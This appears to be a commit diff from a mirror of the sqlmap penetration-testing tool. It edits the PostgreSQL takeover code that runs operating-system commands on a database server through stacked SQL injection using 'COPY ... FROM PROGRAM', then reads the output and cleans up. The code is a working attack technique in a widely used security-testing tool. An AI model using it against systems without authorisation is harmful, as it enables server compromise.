mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 20:51:31 +00:00
Finalizing #3545
This commit is contained in:
@@ -10,6 +10,8 @@ import os
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import decloakToTemp
|
||||
from lib.core.common import isListLike
|
||||
from lib.core.common import isStackingAvailable
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -104,13 +106,28 @@ class Takeover(GenericTakeover):
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
def copyExecCmd(self, cmd):
|
||||
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
|
||||
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
|
||||
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
|
||||
self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))
|
||||
inject.goStacked(self._forgedCmd)
|
||||
output = None
|
||||
|
||||
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
|
||||
output = inject.getValue(query, resumeValue=False)
|
||||
if isStackingAvailable():
|
||||
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
|
||||
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
|
||||
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
|
||||
self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))
|
||||
inject.goStacked(self._forgedCmd)
|
||||
|
||||
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
|
||||
output = inject.getValue(query, resumeValue=False)
|
||||
|
||||
if isListLike(output):
|
||||
output = os.linesep.join(output)
|
||||
|
||||
self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
|
||||
inject.goStacked(self._cleanupCmd)
|
||||
|
||||
return output
|
||||
|
||||
def checkCopyExec(self):
|
||||
if kb.copyExecTest is None:
|
||||
kb.copyExecTest = self.copyExecCmd("echo 1") == '1'
|
||||
|
||||
return kb.copyExecTest
|
||||
|
||||
Reference in New Issue
Block a user